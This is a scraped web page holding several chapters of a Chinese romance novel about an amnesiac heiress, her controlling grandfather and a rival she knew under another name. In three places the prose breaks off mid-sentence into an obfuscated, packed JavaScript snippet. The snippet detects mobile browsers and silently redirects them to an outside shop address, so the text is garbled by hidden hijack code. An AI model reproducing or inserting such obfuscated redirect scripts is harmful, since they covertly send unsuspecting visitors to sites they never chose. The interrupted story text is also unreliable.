傅珺瑶“啧”了声,烦躁地抓了抓头发,无奈掀开眸子,沉沉地叹口气。 然后抓起身侧的手机,进了微信找顾清漪。 【睡了吗?】 那头的人在线,很快回复:【没呢,睡不着吗?想聊什么,让我来为你答疑解惑!】 傅珺瑶扬了扬唇,输入:【我以前谈过恋爱吗?】 顾清漪并没有秒回,而是直接打了语音过来。 傅珺瑶干脆半坐起来,接通。 顾清漪的语气明显带着八卦的味道,问:“珺珺,你这是有情况了?” 傅珺瑶尽量忽视脑海中窜出来的那道身影,否认道:“没有,我就想知道以前的我在感情方面是怎么样的。” 谈起这个,顾清漪算得上是最了解的人。 “你呀,你以前不谈感情的。”顾清漪用这样一句话概括。 她和顾清漪从幼儿园开始,便全是家里给安排好的私立学校,从小到大就没分开过。 早在初中的时候,顾清漪贪玩,学别人玩暗恋那一套,暗恋一个高年级长相出众、成绩优异,算得上很耀眼的学长,享受懵懂的情愫,也常常和傅珺瑶分享自己的暗恋心路,甚至怂恿她一起。 不过被傅珺瑶断然拒绝:“他又不喜欢我,我为什么要暗恋他?” “因为他很厉害呀,再说了,他如果喜欢你,你还需要暗恋吗?” “你也不比他差到哪儿了呀。”傅珺瑶不懂她暗恋的门道。 顾清漪觉得她太煞风景。 傅珺瑶只对她笑笑,勾着她从偷瞄那位学长的墙角离开:“或者你等等我,我能比他更厉害,到时候你来暗恋我。” 顾清漪当时觉得她不懂风趣。 后来倒是觉得,她很明智。 因为没过几年,她就在高中部听说了那位学长的瓜。 据说他利用他所谓的‘耀眼’,同时谈了好几个,最后因为没兼顾上来,几位女朋友同时上门要说法,当场败露。 顾清漪那会已经跟许远舟发展起来了,这种‘陈年往事’只当笑话复述给傅珺瑶听。 傅珺瑶听完倒也没多大波澜,只说:“大千世界,无奇不有。” 可顾清漪还是觉得不可思议,她的青春期什么蠢事都干过,傅珺瑶却完全没有。 如果不是她每周末都计划了到位的游玩项目,顾清漪都快觉得她是个只会学习、思考的空心人。 “在学校的时候你就对那些男生没什么兴趣,大学的时候又开始进恒璟跟着傅爷爷学习,更没什么时间顾着恋爱了,进了恒璟之后,你也完全没考虑过个人问题。” 顾清漪把回忆拉回来,几句话总结清。 又感叹:“不过也正常,咱们周围的男人,几乎都了解得门清了,人品好、管得住自己的早就结了婚,剩下那些个单身的全都是仗着家里的权势花天酒地,根本没有谈的必要。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17100291|193223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 傅珺瑶的眼珠在昏暗中慢慢转动。 在心底暗嘲:那她的运气还差点意思,第一段恋爱不偏不倚地谈上了仇人。 虽然那也不完全算是恋爱。 不过她如果真的没谈过恋爱,那备忘录里送她粉帝王的‘他’到底是谁?她也没有追求者。 “说起来,”顾清漪因为这个话题聊上头,又接着往下分析:“现在还能瞧上眼的,也就林逸深和沈行之、沈述白了。” “但沈家那对兄弟得排除,这么算下来,就只有林逸深能选。” “……” 傅珺瑶抬手,拇指塞进齿间,被咬出轻微痛感。 顾清漪突然沉吟,像是想到什么,又推翻了自己的言辞:“其实你也不是不谈感情,上学那会,你跟沈述白谈感情。” 傅珺瑶猛然坐直身子,离开背后柔软的靠枕。 唇中忍不住泄出困惑:“啊?” 那头的人补充完后半句:“不过不是爱,是恨。” “……” 傅珺瑶又靠了回去。 “沈述白也跟我们一个学校一个年级,不过不同班,说来也是奇怪,明明你都刻意避开他了,但在学校就是会因为各种事碰到他。” “因为傅伯伯和沈阿姨的事,你们每次遇到都会掐架,你不让他、他也不让你,冷嘲热讽更是常有的事,而且只要遇到排名次,你俩势必要争个高下,反正基本浓烈一点的情绪,你俩都贡献给彼此了。” 掐架。 她还真想象不出来。 就像那新闻报道里的那样吗? 那算掐架? 就是不太体面的对峙罢了。 傅珺瑶蓦地晃了晃脑袋,切断画面。 她又想偏了。 不想再继续这个话题,傅珺瑶又主动开口,有些生硬地开始聊其他。 聊到顾清漪已经哈欠连连,她也隐隐犯困。 两人很快结束电话,傅珺瑶重新躺下来。 不谈感情……那她就一点参考都没有了。 傅珺瑶又侧过身。 反正她只需要记住:她不该和他有纠缠。 …… 隔天一早,傅珺瑶依然醒的很早。 她在浴室洗漱完,又下楼泡了咖啡,客厅里的冷气丝丝往外冒,吹散了咖啡的雾气。 她坐在地毯上,双目无神,只是每隔两分钟,就会往嘴里送口咖啡。 大脑还在对抗昨晚的梦。 对抗那个……不太正确的梦。 梦里,他没有走掉,而是缠着她,非要跟着她回家。 茶几上也不再是那些热量高、营养价值低的食物,而是他做得再熟练不过的她爱吃的菜。 晚上喝中药时,也是那罐酸甜刚好的蜜饯。他依然在计数,数着她还欠他多少个‘蜜饯’。 最后又用最熟悉的方式托稳她的后颈,温柔地吻上来。 那种招数、味道,她忍不住沉陷。 然而吻到一半,她房间的门突然被蹬开,傅淮湛怒气正盛,动作强势地分开他们,又拧眉指责:“珺珺,你到底在干什么!跟仇人在一起,你忘了大伯怎么死的吗?!你不怕爷爷恨你吗?!” 她从梦中惊醒,舌头在口腔里伸了伸,并没有被满足的味蕾还隐隐能感觉到苦味。 咖啡杯里的液体全都进了肚,傅珺瑶舔了舔唇。 都怪那段时间,她身边只有他,她才会对他的气息如此敏感。 她不能想他。 他们之间绝对不可能。 大伯和他姑姑的事是铁板钉钉的事实。 爷爷的态度更是她没法改变的。 还有她自己说的那句话:“你是非不分,就是恶心。” 傅珺瑶眸色一凛,起身去了衣帽间。 …… 清扫了残留的困意到办公室时,傅珺瑶正打算让聂秘书组织会议,商讨如果继续沿用苏氏的安防系统,他们最需要提防的问题。 既然不能解约,那她只能另辟蹊径,追加二维加固方案,减少bug出现的概率。 然而聂秘书的转达比她的通知要提前一步。 “傅总,董事长让您去一趟他那里,说有很重要的事。” 42. 14 傅珺瑶手里的动作一停,短暂的沉默后,她点头。 组织会议的事暂时被搁置。 她再次走到那扇紧闭的门前,脚步略显迟疑。 心跳匀速加快,却又突然在某个瞬间失控,像是滚落在地的小球,每一次弹跳起来的高度不一。 她深吸了口气,敲门。 里面传来声低沉的“进”。 那张大班台前,老人还是那身熟悉的深灰色中山装,花白的鬓发打理得一丝不苟,略显松弛的皮肉上横满皱纹,那双发灰的瞳仁却凌厉如旧。 傅珺瑶的视线只和他交汇几秒便迅速移开,颔首道:“董事长。” 他的目光在她身上扫过,伸了伸手,示意她走近些。 “珺珺,你一般是几点下班?” 傅珺瑶轻轻抬眼,下意识思考这个问题背后的动机。 她如实回答:“正常的规定时间。” 老爷子嗯了声,语气算不上太严肃:“很好,如果往前推半个小时,你能把当天的工作做完吗?” 傅珺瑶抿唇:“如果不是很棘手的问题,一般情况下可以。” “很好!”老爷子在她话音刚落的瞬间接话:“那从今天起,你每天下班前半小时来我这里,做当天的工作汇报,包括你完成了哪些项目、通过了哪些项目、下一步要进行的项目,都在我这里汇报清楚。” “……” 傅珺瑶的心脏突然安分下来。 原本存居于此的忌惮消失,被熟悉的压抑和憋屈取代。 她瞥了眼身上特地挑选的深色西装,抬眸,眉头轻蹙,坦然地同这位老人对视。 老人笔挺地坐在那里,沉肃的眼底爬满了自信,仿佛十分笃定,她会接受这份他下达的命令。 傅珺瑶没急着说话,心底再次发出疑问:这种牺牲,真的是她想要的吗? 她不过失了忆,应该还不至于改变性格。 她不明白自己到底为什么愿意屈从于这种压抑的强制命令下,如果真的想为了傅家好,就绝不应该是这样的绝对服从。 背在身后的手握紧,慢慢给自己蓄力。 她一瞬不瞬地盯着那位威严者的眸子,声音略微嘶哑,却始终坚定:“董事长,我想作为恒璟的总经理,我还有基本的判断是非以及决策能力,如果是花费时间做一些意义不大的事,我想没有必要。” 老人的瞳仁一缩,眸中的冷光险些将她冻结。 傅珺瑶的呼吸慢了下来,手上的力道更重,继续维持原状。 “意义不大?”老人冷声质问,声音里已经藏了些许愠怒,只差一根引线,便足以燃爆:“珺珺,关乎恒璟,怎么能说意义不大?还是说你希望爷爷继续睁一只眼闭一只眼,给你下一次和苏氏解约的机会?” “……” 心口仿佛压了块大石,沉重又坚硬,傅珺瑶看着和老人相隔的大班台,突然觉得他们相距十万八千里。 她暗暗在脑海中转换他的身份,可无论是哪一种,她都无法说服自己。 作为恒璟的董事长,他是上司,可言语和行为中充满了对她的不信任,想要完全掌控她,置集体利益于个人之下。 作为爷爷,他是家人,可同样的,言语和行为无一不是在给她套牢枷锁,也没有考虑失忆的她的感受。 她不再确定自己从顾清漪那里听来的“牺牲观念”是否值得。 “珺珺,”老人继续开口,潜藏的愠怒加重,语气不容置喙:“我是在通知你,不是和你商量。” “你以前可是个听话的孩子,跟着我的脚步,也听我的指挥,怎么失忆之后,也想和你哥一样,开始让我失望吗?” “……” 傅珺瑶还是不说话,只觉得心脏被一条名为‘亲情’的铁链束缚,连同着那块大石一起,势必要将她驯服。 “爷爷。”长久的沉默后,傅珺瑶突然换了称呼。 “我记得您说过,您相信我。”她继续盯着那双充斥厉色的眼睛,稍稍庆幸,有这身打扮带给她的隐隐力量,足以和老人对峙:“既然您相信我,不是也应该相信我的决策和能力?” 老人一时无言,像是没意料到她这般。 半晌,老人眉头紧蹙,布满皱纹的手拍了拍桌,引线燃到了底,愠怒无处可躲:“珺珺,我相信你,是因为以前的你无可挑剔,可现在呢?在你恢复记忆以前,我有必要监督你,这是对恒璟负责,也是我作为爷爷对你负责!” “可我这么做是为了恒璟的发展考虑,恒璟是我们傅家的,可也不仅仅是我们傅家的,要想做到服众,难道不应该也有所牺牲吗?”傅珺瑶沉声反驳,背后的手腕已经被她捏到疼得麻木。 “你说什么?”老爷子的脸微微涨红,怒目圆瞪,眉峰狠狠挑起。 “我们家的确和沈家有恩怨,可这分明只是家族之间的恩怨,只要我们私底下不来往,完全没有任何问题,可从利益看来,启行就是一个非常趁手的工具,短暂的合作换来的也是恒璟的利益,而您一定要选择才出过纰漏的苏氏,如果未来悦霁天地也出现同样的问题,逆向折损的反而是恒璟的口碑,爷爷,这难道真的是对恒璟负责吗?” 句句精炼,字字见血。 老爷子显然是无法接受这一番“荒谬言论”的。 燃烧的不再只是浅表的火星,深层的炮筒被引燃,瞬间爆出刺眼火花。 老爷子的脸顷刻通红,气息瞬然加剧,额前的血管贲张,他伸指劈向傅珺瑶,怒吼:“你胡扯!为了利益,你竟然能抛开家族仇恨!你知不知道我失去儿子有多难受?!你知不知道我失去妻子有多难受?!傅珺瑶,你简直就是反了天了!你!你……” 老爷子话还没说话,一只手突然捂在心口,五官痛苦的挤在一起,呼吸愈发急促,怒气艰难地从鼻腔喷出来,劈向她的手指也颤抖得厉害。 见状不对,傅珺瑶哪里还顾得上其他,疾步冲到爷爷身边。 “爷爷?您哪里不舒服?”傅珺瑶稍微慌神,语速急切问。 老爷子只顾捂着胸口,喉嗓像是别人捏紧,根本没办法发声,只能急促地往外吐气。 额前已经沁出不少汗。 傅珺瑶得不到回应,迅速按下内线电话,同时扫视桌面,把老爷子扶稳,再去翻他胸前的口袋。 翻到一瓶速效救心丸。 打开瓶盖的手颤得厉害,她迅速从里头倒出一粒药丸,扶着老人的后背,喂进他嘴里。 “爷爷,快吃了!”确认药丸被他吞进去,她又快速帮老人顺气。 电话接通,傅珺瑶快速对着那头的聂秘书道:“叫救护车!” …… 淮北市某私立医院。 傅珺瑶靠在病房外走廊,林医生还在里面检查老爷子的情况。 她垂着眸,视线没有落点。心跳打鼓似的持续刺激耳膜,连太阳穴都跟着突突跳,手心里还残留着濡出的汗。 没多久,长廊上急匆匆的脚步声混入她的心跳声中,傅淮湛的气息很不稳,直接冲上来捏紧她的胳膊:“爷爷怎么样了?!” 傅珺瑶动了动唇,才发觉一个字都说不出来。 “已经没事了。”病房的门突然打开,林医生笃定道:“情况都稳定下来了,你们过五分钟再进去吧。” 傅珺瑶闭上眼,慢慢把堵在鼻腔里的那团气呼出来。 “多谢你,林医生。”傅淮湛也松开她的胳膊,朝林医生道谢。 林医生摇了摇头,又嘱咐务必不要再让老爷子受刺激,才离开。 傅淮湛的视线回到傅珺瑶身上。 他冷声问:“珺珺,你跟爷爷说什么了?” 傅珺瑶被问得哑口无言,也始终没有抬眸去看他。 “跟沈述白有关?”傅淮湛追问。 傅珺瑶依然沉默。 两秒后,傅淮湛抓住她的手腕,拉着她往前走了几米停下,终 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17108549|193223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于敢释放怒气:“你怎么答应我的?我们家和沈家的仇恨我跟你说得够清楚了吧?我也说过爷爷最恨的就是他们家,你还敢在爷爷面前提?爷爷万一出了事,责任谁来担?!” “……” 哪怕傅珺瑶此刻有一千个一万个能反驳他的理由,也无论如何都说不出口。 这个后果确实是她造成的。 她也才知道,爷爷有很严重的心脏病。 她也很后怕,万一当时她没能找到那瓶救心丸。 “抱歉,是我的问题。”话语凝聚到嘴边,也只能说出这么一句。 “珺珺,你不要再任性了好不好?”傅淮湛的气焰被她的歉意推散,只得叹了口气,无奈道。 傅珺瑶紧抿着唇,沉默很久。 “爷爷的身体要紧啊,珺珺,你和沈述白之间是完全不可能的。”傅淮湛还在继续。 傅珺瑶侧身绕过他,往老爷子的病房走:“我以后不会再让这种事发生,去看爷爷吧。” 重新站在那位神色紧绷的老人面前时,傅珺瑶主动开了口:“抱歉爷爷,您说的事,我答应您。” 鼻头还插着氧气管的老爷子面容终于松动。 “这样才对,珺珺,你要知道,爷爷是不可能会害傅家,也不可能会害恒璟的!” …… 傅珺瑶在下班后,特地跑去医院床前,把她所有的工作内容给老爷子汇报完成。 老爷子休息需要静养,也没留她。 带着一堆文件回到车里时,她重重地吐了口气,却依旧满心烦闷,浑身不得劲。 肚子很饿,但她不想吃东西。情绪堵在一块,完全没有发泄口。 她想发泄。 车载电子屏的导航的终点被她删除,指尖在屏幕上迅速滑动,最后确认终点—— 潮汐Bar。 一个小时后,傅珺瑶坐在乐曲悠扬的吧台前,又喝完了一杯酒。 樱桃白兰地混合陈年朗姆,隐隐带着柠檬的清香,稍稍有些苦,不过在她接受的范围内。 她撑着下巴,缓了缓酒劲,侧眸,几位女乐师坐在偌大的落地窗前,面前竖着乐谱,手中的大提琴、小提琴配合到位,给这昏暗灯光下的环境添了些许氛围感。 乐曲挺好听,可惜……没能扫去她心底的浓雾。 她朝着正在调酒的老板娘招手,语气被醉意熏染:“凌小姐,麻烦再帮我调一杯樱桃朗姆,我很喜欢。” 她也是在几句简短的交谈里,认识了这位女老板。 女老板弯了弯唇:“行,不过你要不趁着还没醉的时候给闺蜜或者男朋友打个电话说一声?免得喝醉了没人照顾你。” 傅珺瑶很干脆摇头:“不用,我不会醉的。” 她就想自己一个人待一会。 女老板也没再说什么,去给她调酒了。 又一杯酒下肚,傅珺瑶感觉脑袋晕乎乎的,思绪也顾不上再去想七想八。 嘴角扬起弧度,她再次摆手,语速慢了很多:“凌小姐…我还要一杯……” 可说出口似乎觉得还不够,她改口:“不…你索性给我三杯吧……我肯定能喝完……” “就最后一杯吧?酒喝多了对身体也不好。”女老板劝说。 “我就想喝,我想喝……”傅珺瑶手上软了力,趴在吧台,眼眸半睁,嘴里继续嘟囔:“我不明白,这样的人生……真的是我想要的吗……就算是以前……我真的会接受这一切吗……” 女老板自然听不懂她的话,继续劝道:“就最后一杯了哦,你开车了没有?我一会帮你叫代驾吧?” “你喝酒了?!” 傅珺瑶还没来得及回答,手腕突然被人抓住。 手上的钝痛都因为醉意减速,半天才传递到中枢。她往回抽手,但手上没什么力,又慢慢撑着吧台起来。 下一秒,那张温和的面孔闯进眼底,伴随着熟悉的、带着安全感的味道。 43. 15 那张面孔之后,还有一张她有些眼熟、但没那么熟悉的脸。 许远舟追上来,稍稍诧异:“述白,你这是干什么?” 男人并没有回答那人的问题,视线扫过吧台的空酒杯,眸色愈发凝重,那里原本的温柔也没了影。 他强硬地对上她的眸子,眉头皱紧,眉峰狠狠上挑:“你应该还在喝药吧?这个时候喝酒,不顾身体了?!” 傅珺瑶眼前一片恍惚,意识没能辨清男人话里的意思,可身体却有了明显的反应。 那熟悉的味道扑进鼻腔时,好似所有愁云都散尽,那个只开了一点的发泄口突然扩大,瞬间便畅快了不少。 傅珺瑶看到那颗黑色耳钉,蓦然咧唇,喉间溢出几声笑,直接扑进男人怀里:“江阔……你来接我了……” 男人狠狠一僵。 他身后的许远舟瞪大了眸子,视线来回在两人身上穿梭。 明显不解:“她在说谁啊?江阔?江阔是谁?” 沈述白没回答。 女老板蓦然走近,目光在沈述白身上打量过后才问:“请问您认识这位小姐吗?” 沈述白点头:“认识。” 女老板再次确认:“那您方便说一下这位小姐姓什么吗?” 沈述白毫不犹豫:“傅,傅珺瑶。” 女老板终于放心,点了点头,微笑道:“那傅小姐就麻烦您照顾了,还有这个是傅小姐的账单。” 沈述白扫过去,脸色更沉。 三杯龙舌兰,五杯樱桃朗姆。 空出来的手掏出手机结账,又对身后的许远舟道:“我送她回家,事情下次再聊。” 说完,他横抱起傅珺瑶,又拿了她的包,直接朝门口走。 “哎不是,述白……”许远舟的声音被远远扔在了身后。 沈述白抱着她,想要回自己车上,怀里的人又突然动了动,眼眸轻眯,语气飘忽忽的:“车钥匙……在包里……” 沈述白止了步,视线转向她,低声问:“车停在哪?” 她没回答,脑袋贴在他的胸口。 沈述白叹了口气,先抱着她回了自己的车里。 把她放稳在副驾驶座,系好安全带,他才从她包里找了车钥匙出来,按准解锁键,他环视停车场内数十辆车的反应。 蓦地,就停在他车旁边的黑色奔驰的前车灯闪了闪。 沈述白稍愣,目光停在那辆车的车牌号,眸光轻晃。 这是她的车? 沈述白叫了代驾过来,让人直接开回傅珺瑶的公寓。 回到自己车上,熟练地在导航里输入目的地,褐眸又瞥向被醉意熏晕的女人,喉结滚了滚,轻声道:“傅珺瑶,我送你回家。” 女人也不知道听见没有,舒舒服服地躺在座椅上,哼了两声。 沈述白转眸,眉头紧锁,启动车辆。 在临时停车场停好了车,他再度抱起女人,熟练地用她的指纹解了门禁,也不需要思考,直接按了楼层。 傅珺瑶的公寓是一梯一户式,出了电梯就是家门。指纹解了锁,沈述白在门口摸到开关,开了灯。 顾不上换鞋,他先把人抱到沙发边坐下。 “有没有哪里不舒服?”他一手捏着女人的手,一手去探她额前。 没有冒汗,也没有发烧。 只有脸红扑扑的。 傅珺瑶这会意识已经不清醒,只闻到熟悉的味道,她又闭着眼睛靠过来:“江阔……” 沈述白贴在她脸上的手僵住,顿时沉默。 女人却抱紧他的胳膊,下巴抵在他的肩口,语气很闷:“我们是不是回到江渔村了……” 沈述白低着头,胳膊动弹不得,女人身上的酒味不停往鼻腔里钻。 他感觉自己也快要醉了,脑袋隐隐发晕。 女人又继续道:“那我还是江云……我还是江云……” 沈述白猛地转头,捏紧她的手腕,却在看到她的脸之后,手上的劲慢慢松懈。 冷眸红唇,被束起的长发,精细雕琢过的眉间隐隐透着他不熟悉的厉色。 他又回过头,嘴唇动了动,喉间像是被什么东西哽住,半天才发出声:“你不是说…你不是江云,你是傅珺瑶,是和沈述白是仇人的傅珺瑶……” 话音刚落,肩头的脑袋狠狠摇晃,她极力否认:“我想做江云,我不想做傅珺瑶了……做傅珺瑶好累…所有人、他们所有人都在告诉我,我得听爷爷的……” 沈述白心口一紧,身子突然直了起来,女人也跟着紧紧攀附在他的胳膊上。 他垂眸,看到她微微翕动的鼻翼,和微抿发颤的嘴唇。 “可是爷爷也不全都是对的……我是想为了恒璟的发展考虑,想要对恒璟上上下下的员工负责,可只要爷爷不同意,他们还是会用各种办法逼我就范……爷爷是、我哥也是……我今天实在是没忍住才对爷爷说了那些话……我也没想到爷爷的身体会出问题……为了爷爷,我就算再有想法,也还是得妥协……” 沈述白蹙起眉,呼吸减速,心脏突然抽了抽,隐隐泛疼。 她的声音更低更沉,像是终于有了发泄的地方,势必要一吐为快:“我不是不愿意牺牲,也不是不愿意妥协,可不能只是我牺牲、只是我妥协,爷爷说不要让他失望,我哥也说不要让爷爷失望,甚至就连过去的我自己,也在说不要让爷爷失望,可是我真的不喜欢这样……” “好像所有人都在我身上套枷锁,我的抉择和能力不能超过这个枷锁之外,遇到问题不能有异议,就连打扮衣着也要按照他们喜欢的样子来,甚至于……活在我哥的影子之下,我才知道我根本就不是左撇子,我哥才是,是爷爷说他聪明,所以让我模仿练出来的……” 沈述白眼角周围有些刺疼,眼前她的五官稍稍模糊,心口的痛意加剧。 她的手下意识想找东西抓住,他自觉伸手,五指嵌进她的指缝。 “我都不知道爷爷到底是真的认可我的能力,还是把我当成了我哥的替补,他不行了,所以让我来顶上……” “我不喜欢这样的生活……我不喜欢……我不想傅珺瑶只是作为满足别人的一把优秀的工具,我想做只是傅珺瑶的傅珺瑶……她可以选择自己喜欢的衣服,可以选择自己喜欢的妆容,可以有自己的思想,可以真正被人相信,可以做个能服众的总经理,可以不为了强势而强势,可以拥有一定的自由……” “傅珺瑶如果一定是要被枷锁套牢的,那我宁愿做回江云,那个可以做自己的江云。” 扣在他手背的指腹使力,隐隐有往里掐的趋势。 沈述白也不躲,眸子跟长在她身上似的,一瞬不瞬地盯着。 空出来的手上抬,刚落在她的下巴,她又叹了口气,说:“可是……我也不能不为傅家和恒璟着想,如果我抛弃了傅珺瑶身上的责任,那江云也不会是开心的江云……” 沈述白的眉心挤紧,眉毛却是往下撇的。 她在他眼底像是隔了一片毛玻璃,身影虚幻,半天无法聚焦。 他听着她继续说:“你说我到底该怎么办?是完全顺应爷爷,还是坚持做我自己……这二选一的答案好像怎么选都不如意……” 沈述白的手掌继续上移,指腹在她红润的脸颊上勾了两下,又慢慢移至眼角,抹掉了从那里盈出来的湿润。 他停顿了好一会,深吸了口气,又颤抖着呼出来,才凛神道:“其实并不一定非要二选一的。” 女人喉间溢出声闷哼,带着浓浓的困惑。 他解释:“西方哲学里有一个名词,叫折衷主义,是指不遵循单一的原则或者体系,而是从多个方面,去选取被认为最合理、最有利的元素,将其调和、结合,最终形成一个新的混合体。简单来说,就是在矛盾中寻找平衡。” “或许……可以去找傅董事长谈谈,求同存异,也都是为了集团考虑。” “可这个异,爷爷绝对不会答应……”傅珺瑶很快摇头:“是我想找启行合作,可是爷爷很生气,甚至进了医院……” “……” 沈述白再也说不出一句话。 客厅内只剩两人的呼吸声此起彼伏。 是傅珺瑶的呛咳打断了这片静默。 沈述白瞬间抽神,手掌贴在她的后背,轻轻拍动,又抽了纸巾给她擦嘴。 等她平复下来后,他松开她的手,摆正她的身子,让她能稳当地靠在沙发上,温声说:“我去给你泡蜂蜜水。” 傅珺瑶没说话,不过也没闹,静静地靠在那里。 五分钟后,沈述白端着温润的蜂蜜水出来,慢慢搂着她的肩,哄着她喝下。 “珺珺,张嘴,喝了会舒服一点。” “再喝一点。” “最后一口。” 一整杯蜂蜜水下肚,傅珺瑶又习惯性地往他身上靠,疯狂汲取他身上的味道。 “江阔……你的伤好了吗……”她突然问。 沈述白托着她后背的手臂紧了紧,喉间突然有些干燥,目光在她脸上打转,又拨去她额前的碎发,缓声道:“好了。” 傅珺瑶点了点头,没再继续。 他却不满于此,试探问:“你这样问,是关心我、在乎我吗?” 她还是不说话。 “珺珺?”他轻唤。 “我好困啊……”女人嘟囔。 沈述白手臂又松了些,沉了口气,扯了扯唇:“我抱你上去休息。” 可他准备把她放在床上时,她又不乐意了,整个人猛地窜起来:“我要洗澡,衣服好脏……” “……”沈述白气息凝了凝,不确定地打量她:“你自己能洗吗?你背后伤口能沾水了吗?” “我要洗澡!”问题她是回答不上来的,澡她是要吵着洗的。 “你给我洗!”她抓着他的衬衫,没有松开的意思。 “……” 沈述白的耳根一阵热流窜过。 他明显犹豫,可她等得不乐意,又催促他动作快点。 “你确定要我给你洗?”沈述白滚了滚喉,还是不确定地问道。 “当然啦,之前你帮我擦身子不都擦习惯了吗?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17117961|193223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……” 沈述白的唇紧抿,抿成一条直线,仍然有些迟疑。 女人再次催促:“你跟我还装什么矜持?你明明比我闷骚多了。” “……” 沈述白险些恍惚,就像是回到了那个时候。 三秒后,他凛神,朝女人做提前声明:“那我提前说好,我可以帮你洗,但明天你醒过来,不准骂我,更不能说我恶心。” “我为什么要骂你?你不是我老公吗?” 一句话,足以推倒沈述白的防线。 他听了女人的话,让她在凳子上坐稳,开始帮她脱衣服。少一件衣服,他就问她一句要不要继续,全程按她的要求来。 他已经尽力别过自己的视线,不断告诉自己,要做个绅士,她不清醒,他只是伺候她洗澡,其余的什么都不能想。 可她偏偏不称他的意。 温热的水流下,他才帮她上好沐浴乳,抓着她的手慢慢涂抹,她却几下便不听使唤,往他身边凑,朦胧的双眸半睁,穿过弥漫的水雾看向他,声音还没能完全撇开酒意的挥洒:“你怎么不脱?衣服都打湿了。” “……” 沈述白手里的花洒差点没掉下去。 他稳住心神,迅速给她冲掉身上的泡沫:“洗的是你不是我。” “那你脱了跟我一起洗。” “……” 沈述白的褐眸缩紧,喉间干涩明显,严词拒绝:“我不洗。” “你不是有洁癖吗……不洗澡多脏啊,你不洗就别上我床了……” “等你洗完睡觉我就走了。” “你走哪去啊?萍姐家里都没别的房间。” “这不是萍姐家,这是你家。” “那不也是你家吗?” 沈述白关了花洒,迅速给她裹了浴袍,却又把她箍进怀里,托着她的后颈,低下声来问:“你说什么?” 或许是身上舒服了,又有沈述白抱着她,傅珺瑶浑身完全放松,眯眼对男人笑:“江阔,你快点洗澡,我要枕着你的胳膊睡。” “傅珺瑶,我是沈述白。” “沈述白不就是江阔吗?你快去洗澡,我好困了。” 说罢,她又不停拍他,让他把她抱去床上,她回床上等他。 “……” 沈述白把人送回床上,又给她找了睡衣穿好,他自然没打算留下,更没有去浴室洗澡。 站在床头,他找了她的手机出来让她解锁,问:“你有没有医生的联系方式?” 傅珺瑶裹紧身上的被子,听得迷迷糊糊,说了句“林医生”,沈述白听得模模糊糊,直接点了“L”字母,看到林逸深,下意识以为是他,利索进入聊天框。 手指却突然悬在屏幕上方。 最近的聊天记录是前天晚上。 【口感非常棒的帕图斯,有机会邀请你一起品尝。】 【晚安。】 【表情包】 “……” 他侧眸瞥了眼床上的女人,记下这个名字,先退了出去,继续翻找,看到了林医生。 他直接拨了语音电话过去。 那头的人接通的速度也很快:“傅小姐。” “您好,林医生,很抱歉这么晚打扰您,我是傅珺瑶的朋友。” 那头愣了一下,问他什么事。 沈述白复述她现在的情况,问:“能不能麻烦您过来一趟?” …… 半个小时后,出现在傅珺瑶公寓的林医生看到这位“朋友”是沈述白,稍稍惊讶,不过他也没说什么,去房间查看了傅珺瑶的情况。 “没什么问题,你晚上给她多喂几次温水,加速代谢,今晚和明晚的药都先停了,如果出现胸闷想吐的情况,及时联系我。” 沈述白愣了愣,点头。 送走林医生,他回到床前,女人正闭着眼假寐,他松了口气道:“今晚我得留下了,你有不舒服及时跟我说。” 女人听见动静,慢慢睁眼:“我没有不舒服,我想睡觉,你快去洗澡,我要枕你的胳膊……” “……” 沈述白看了眼自己身上还没干透的衬衫,无声思索,三秒后,他叫了外送,又给沈行之发消息说自己今晚不回家,最后进了她的浴室。 临上床前,他还在跟她确认:“傅珺瑶,明天醒来绝对不准骂我,也不准说我恶心。” 女人只闻到熟悉的味道,想快些枕在那安全感满满的肌肉上,哪里还管他在说什么,霸道地靠上去,心满意足。 沈述白搂她进怀,又掖好被角,侧眸,小心翼翼地松了口气。 眸光停留,看到她安然闭眼的模样,褐眸浅眯,温柔如水。 傅珺瑶藏在被子下的身体突然动了动。 沈述白身子陡然绷紧,瞥向被子的隆起。 嘴唇无奈地扯了扯—— 她的脚也强势地横在他腿上,不给他动弹的余地。 他侧眸,她的面容刚入眼底,她的声音就穿进了耳膜:“江阔,你的胳膊枕着确实舒服,我今晚一定要睡个好觉……” 44. 16 话音落下时,腰间多了熟悉的束缚感。 沈述白下意识搭手在她的手腕,视线依然黏在她脸上。 已经卸完妆的眼角没了遮瑕膏的遮挡,完完全全地露出了浅淡的乌青。 枕在她脑后的手臂微微收紧,他低声回应:“睡吧,好好睡一觉。” 傅珺瑶哼吟了声,唇角轻轻上挑。 很快,她环紧他的腰身,又愣了愣,问:“江阔,你怎么瘦了?腰都细了一圈……” 